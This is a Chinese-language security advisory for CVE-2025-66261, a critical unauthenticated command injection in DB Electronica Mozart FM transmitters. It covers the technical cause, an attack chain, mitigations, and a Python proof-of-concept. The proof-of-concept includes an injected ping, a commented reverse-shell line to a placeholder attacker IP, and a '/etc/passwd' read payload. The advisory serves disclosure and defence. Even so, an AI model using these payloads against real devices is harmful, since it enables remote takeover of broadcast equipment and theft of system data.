IPBUF安全漏洞报告
English
CVE-2025-66261 CVSS 9.8 严重

CVE-2025-66261 DB Electronica Mozart FM Transmitter 未授权命令注入漏洞

披露日期: 2025-11-26
来源: b7efe717-a805-47cf-8e9a-921fca0ce0ce

漏洞信息

漏洞编号
CVE-2025-66261
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter

相关标签

CVE-2025-66261远程代码执行命令注入未授权访问Mozart FM TransmitterDB Electronicarestore_settings.phpCVSS 9.8严重漏洞零日漏洞

漏洞概述

CVE-2025-66261是DB Electronica Telecomunicazioni S.p.A.公司生产的Mozart FM Transmitter系列设备中存在的一个严重安全漏洞。该漏洞存在于restore_settings.php文件中,由于对用户输入的name参数缺乏有效的安全验证和过滤,攻击者可以通过构造恶意请求实现未授权的操作系统命令注入。漏洞影响Mozart FM Transmitter多个型号版本(30、50、100、300、500、1000、2000、3000、3500、6000、7000),CVSS评分高达9.8,属于严重级别。由于漏洞利用无需认证且可远程执行,攻击者可以在无需任何凭证的情况下完全控制受影响设备,执行任意系统命令,窃取敏感数据或进一步渗透内网。此漏洞已被标记为严重安全威胁,需要立即采取修复措施。

技术细节

该漏洞的根本原因在于/var/tdf/restore_settings.php文件对用户可控的$_GET["name"]参数处理不当。程序使用urldecode()函数对输入进行解码后,直接将参数值传递给exec()系统调用执行,而未进行任何输入验证或命令转义。攻击者可以利用分号(;)、管道符(|)、逻辑与(&&)等Shell元字符注入任意系统命令。例如,通过URL编码的payload可以在服务器上执行任意代码。由于该接口无需认证即可访问,远程攻击者可以通过互联网直接利用此漏洞实现远程代码执行,作为Web服务器用户权限运行命令。成功利用此漏洞可能导致设备完全沦陷、敏感配置信息泄露或作为进一步攻击内网其他系统的跳板。

攻击链分析

STEP 1
步骤1
攻击者识别目标设备为Mozart FM Transmitter,确认运行版本在受影响范围内
STEP 2
步骤2
攻击者构造恶意请求,访问/var/tdf/restore_settings.php端点
STEP 3
步骤3
在name参数中注入Shell命令 payload,如分号分隔符加任意系统命令
STEP 4
步骤4
服务器端urldecode()解码后,恶意命令被直接拼接到exec()调用中执行
STEP 5
步骤5
攻击者成功执行任意系统命令,可获取shell访问权限或建立持久化后门
STEP 6
步骤6
利用已攻陷设备作为跳板,进一步横向移动攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-66261 PoC - Unauthenticated OS Command Injection # Target: DB Electronica Mozart FM Transmitter # Vulnerability: restore_settings.php name parameter injection target = "http://target.com/var/tdf/restore_settings.php" # Basic command injection test - ping localhost payload = ";ping -c 3 127.0.0.1;" params = {"name": payload} response = requests.get(target, params=params) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") # Reverse shell payload example (encoded) # Replace with actual attacker IP and port # reverse_shell = ";bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1;" # params = {"name": reverse_shell} # requests.get(target, params=params) # Data exfiltration example # cat /etc/passwd # exfil_payload = ";cat /etc/passwd;" # params = {"name": exfil_payload} # requests.get(target, params=params)

影响范围

Mozart FM Transmitter 30
Mozart FM Transmitter 50
Mozart FM Transmitter 100
Mozart FM Transmitter 300
Mozart FM Transmitter 500
Mozart FM Transmitter 1000
Mozart FM Transmitter 2000
Mozart FM Transmitter 3000
Mozart FM Transmitter 3500
Mozart FM Transmitter 6000
Mozart FM Transmitter 7000

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 通过网络访问控制限制对管理接口的访问,仅允许受信任的IP地址访问;2) 在网络边界部署严格的访问控制列表(ACL);3) 禁用不必要的Web管理界面功能;4) 监控异常的网络流量和请求模式;5) 考虑在受影响设备前部署反向代理进行请求过滤;6) 定期检查设备日志以发现潜在的攻击迹象。由于该漏洞无需认证即可利用,强烈建议优先部署网络层面的访问控制策略。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表